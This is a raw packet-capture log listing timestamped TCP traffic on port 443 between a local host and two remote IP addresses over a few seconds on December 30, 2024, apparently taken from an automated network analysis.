Dec 30, 2024 11:36:01.033440113 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.033562899 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.033572912 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.033698082 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.033744097 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.033792973 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.033873081 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.037184000 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.037205935 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.038532019 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.038577080 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.038810015 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.039299965 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.039323092 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.051539898 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.051601887 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.051713943 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.051738977 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.051947117 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.052683115 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.052697897 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.053304911 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.053328037 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.053735018 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.054001093 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.054011106 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.204699993 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.204746008 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.204818964 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.204849005 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.204911947 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.205060959 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.208430052 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.208434105 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.208466053 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.208479881 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.208594084 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.210382938 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.210398912 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.621747971 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.622488022 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.638767004 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.638880014 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.653695107 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.653945923 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.743828058 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.743858099 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.746799946 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.746807098 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.747376919 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.747391939 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.747575998 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.747581005 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.749345064 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.749360085 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.749454021 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.749459028 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.809079885 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.810461998 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.813747883 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.813757896 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.814007998 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:01.814013004 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.033263922 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.033293009 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.033355951 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.033381939 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.033391953 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.033417940 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.033487082 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.033679962 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.033726931 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.033778906 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.033866882 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.034157991 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.034188032 CET	443	49777	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.034203053 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.034265041 CET	49777	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.034790993 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.034835100 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.034887075 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.034929991 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.034940958 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.035023928 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.035238028 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.035239935 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.035248995 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.035255909 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.074191093 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.074254990 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.074337006 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.074348927 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.074373960 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.074501038 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.075339079 CET	49778	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.075356007 CET	443	49778	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.076355934 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.076385021 CET	443	49783	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.077418089 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.077718973 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.077727079 CET	443	49783	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.225835085 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.225887060 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.225898981 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.225929022 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.225941896 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.225987911 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.225992918 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.226003885 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.226061106 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.226061106 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.226632118 CET	49779	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.226648092 CET	443	49779	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.227168083 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.227214098 CET	443	49784	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.227654934 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.227866888 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.227880955 CET	443	49784	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.637826920 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.637928009 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.638603926 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.638659954 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.640774965 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.640783072 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.641204119 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.641324043 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.641679049 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.643764973 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.643853903 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.644540071 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.644596100 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.657655001 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.657674074 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.658045053 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.658150911 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.658813953 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:02.677032948 CET	443	49783	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.677099943 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.682549953 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.682555914 CET	443	49783	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.684637070 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.684640884 CET	443	49783	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.687330008 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.699345112 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:02.845765114 CET	443	49784	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.845882893 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.863687038 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.863698006 CET	443	49784	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:02.863837004 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:02.863842010 CET	443	49784	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.021653891 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.021680117 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.021729946 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.021749020 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.021766901 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.021766901 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.021791935 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.021791935 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.022294044 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.022294044 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.022315979 CET	443	49781	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.022559881 CET	49782	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.022572994 CET	49781	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.022589922 CET	443	49782	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.023010015 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.023066998 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.023201942 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.023241997 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.023281097 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.023313046 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.023418903 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.023435116 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.023685932 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.023696899 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.065023899 CET	49783	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.065202951 CET	49784	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.065665960 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.065710068 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.065963030 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.066556931 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.066615105 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.066720009 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.067787886 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.067812920 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.068248034 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.068268061 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.622539043 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.622643948 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.623109102 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.623116970 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.625093937 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.625119925 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.631089926 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.631155014 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.631522894 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.631526947 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.631673098 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.631678104 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.670828104 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.671336889 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.671506882 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.671580076 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.671669006 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.671680927 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.671701908 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.671708107 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.671803951 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.671813965 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.671896935 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:03.671902895 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:03.996404886 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.997282982 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.997426033 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.998857021 CET	49788	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.998900890 CET	443	49788	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.999454021 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.999512911 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:03.999581099 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.999819994 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:03.999833107 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.024503946 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.024555922 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.024573088 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.024583101 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.024703026 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.029395103 CET	49789	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.029426098 CET	443	49789	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.029690981 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.029767990 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.029901981 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.030240059 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.030267000 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.082434893 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.082500935 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.082678080 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.082743883 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.100006104 CET	49790	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.100034952 CET	443	49790	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.224734068 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.224780083 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.224875927 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.230552912 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.230602980 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.230710030 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.230812073 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.267107964 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.267136097 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.280641079 CET	49791	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.280668020 CET	443	49791	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.306265116 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.306305885 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.306664944 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.336009979 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.336035967 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.633146048 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.633232117 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.633239985 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.633431911 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.634365082 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.634376049 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.634546995 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.634551048 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.635009050 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.635036945 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.635152102 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:04.635164976 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:04.887156963 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.887403965 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.888557911 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.888565063 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.890316963 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.890324116 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.954276085 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.954349995 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.955071926 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.955077887 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:04.955518007 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:04.955523968 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.005320072 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.005388021 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.005494118 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.005821943 CET	443	49792	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.005880117 CET	49792	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.006026030 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.006077051 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.006138086 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.006356955 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.006369114 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.019691944 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.020000935 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020025015 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.020068884 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020108938 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.020133018 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020159006 CET	443	49793	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.020159960 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020159960 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020519972 CET	49793	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020757914 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.020792961 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.020884991 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.021043062 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.021050930 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.300899029 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.300955057 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.301016092 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.301016092 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.301040888 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.301106930 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.301126003 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.301234961 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.301564932 CET	49794	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.301580906 CET	443	49794	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.302151918 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.302186966 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.302479982 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.302661896 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.302670002 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.448892117 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.448940992 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.448982000 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.448997974 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.449017048 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.449070930 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.449084997 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.449158907 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.449649096 CET	49795	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.449664116 CET	443	49795	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.450155020 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.450196028 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.450483084 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.450608015 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.450622082 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.612379074 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.612596989 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.613471985 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.613842010 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.620101929 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.620157003 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.620184898 CET	443	49796	142.250.186.142	192.168.2.4
